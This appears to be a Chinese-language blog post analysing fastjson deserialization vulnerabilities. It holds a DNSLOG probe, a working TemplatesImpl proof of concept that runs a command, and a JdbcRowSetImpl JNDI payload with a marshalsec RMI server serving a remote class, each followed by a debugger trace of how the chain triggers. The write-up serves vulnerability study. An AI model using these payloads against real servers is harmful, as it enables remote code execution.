如何判断后端是否采用了fastjson框架:
一方面是通过json解析异常抛出,另一方面可以通过DNSLOG判断:
poc:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
maven仓库https://mvnrepository.com/artifact/com.alibaba/fastjson,每个版本都有
直接导入对应漏洞版本即可
参考廖师傅的文章,写的比较好,点这里,传送门
利用链:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
POC.test
package com.test.fast;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class POC extends AbstractTranslet {
public POC() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
new POC();
}
}
验证:
package com.test.fast;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
public class test {
public test() {
}
public static void main(String[] args) {
try {
test_autoTypeDeny();
} catch (Exception var2) {
var2.printStackTrace();
}
}
public static String readClass(String cls) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException var3) {
var3.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
String fileSeparator = System.getProperty("file.separator");
String evilClassPath = System.getProperty("user.dir") + "/target/classes/com/test/fast/POC.class";
String evilCode = readClass(evilClassPath);
System.out.println(evilCode);
String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"" + evilCode + "\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ },\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
JSON.parseObject(text1, Object.class, config, new Feature[0]);
}
}
执行命令:
debug TemplatesImpl调用链触发触发过程
在TemplatesImpl类打断点,断点位置,defineTransletClasses
或者直接打断点在漏洞调用栈最后一步这里也可以: AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
分析整个fastjson 漏洞触发过程:
parseObject传入POC中自己定义的json字符串,class,features等
下一步:
跟进parseObject方法,将DefaultJSONParser当前整个类参入deserialze方法
下一步:
parseObject:
又传递到deserialze
看一下里面调用了parseField开始解析json格式:
看一下这里的细节:
下一步:parseField
下一步,比较关键的一步,这一步是set操作,也就是将json和对象类型匹配起来,进行赋值:
具体实现:
还是这个方法,走到else if 分支:
此时,通过method.invoke调用我们指定的POC要反序列化的类的指定的方法
跳过接下来的几步,打到getOutputProperties
调用new 了TransformerImpl并传入getTransletInstance方法,
执行到了getTransletInstance方法,_class为空,所以执行了defineTransletClasses方法
进入defineTransletClasses,执行到414行
加载之后,我们跳出方法方法区,紧接着在455行通过newInstance方法初始化了恶意类 ,初始了执行恶意代码,达到命令执行效果:
debug的部分可能不太清晰:
注意:这里的类加载器为TemplatesImpl自定义的类加载器
POC链路总结大致流程:
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
一点点限制:
https://www.dazhuanlan.com/2019/12/23/5e006d929b014/
利用链: com.sun.rowset.JdbcRowSetImpl 注意:RMI和LADP均有JDK版本限制
实验本地JDK版本:
java version "1.8.0_31"
Java(TM) SE Runtime Environment (build 1.8.0_31-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.31-b07, mixed mode
不成功的环境版本,比如:
java version "1.8.0_201"
Java(TM) SE Runtime Environment (build 1.8.0_201-b09)
Java HotSpot(TM) 64-Bit Server VM (build 25.201-b09, mixed mode)
起RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsejndi.RMIRefServer http://192.168.0.101:8000/#Exp
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.0.101:1099/Exp\",\"autoCommit\":true}";
System.out.println (payload);
JSON.parse(payload);
debug
进入:DefaultJSONParser,调用构造方法初始化lexer,input,config,symbolTable
………………
此处省略,因为与上个调用链类似
进入关键部分:
反射调用setAutoCommit方法
此时coon为null,进入了connect,看一下connect方法具体实现,this.getDataSourceName() != null为true,执行
此时dataSource为我们传入的恶意地址
看一下lookup实现,层层调用了三次lookup
直接跳到:getObjectFactoryFromReference,方法里面使用了类加载器加载了远程拉回来的恶意类,并实例化
限制:
1 服务端JDK版本限制:
参考:https://blog.csdn.net/he_and/article/details/105532066
2 服务端解析用法限制:
https://www.dazhuanlan.com/2019/12/23/5e006d929b014/
参考文章:
https://www.dazhuanlan.com/2019/12/23/5e006d929b014/
https://blog.csdn.net/he_and/article/details/105532066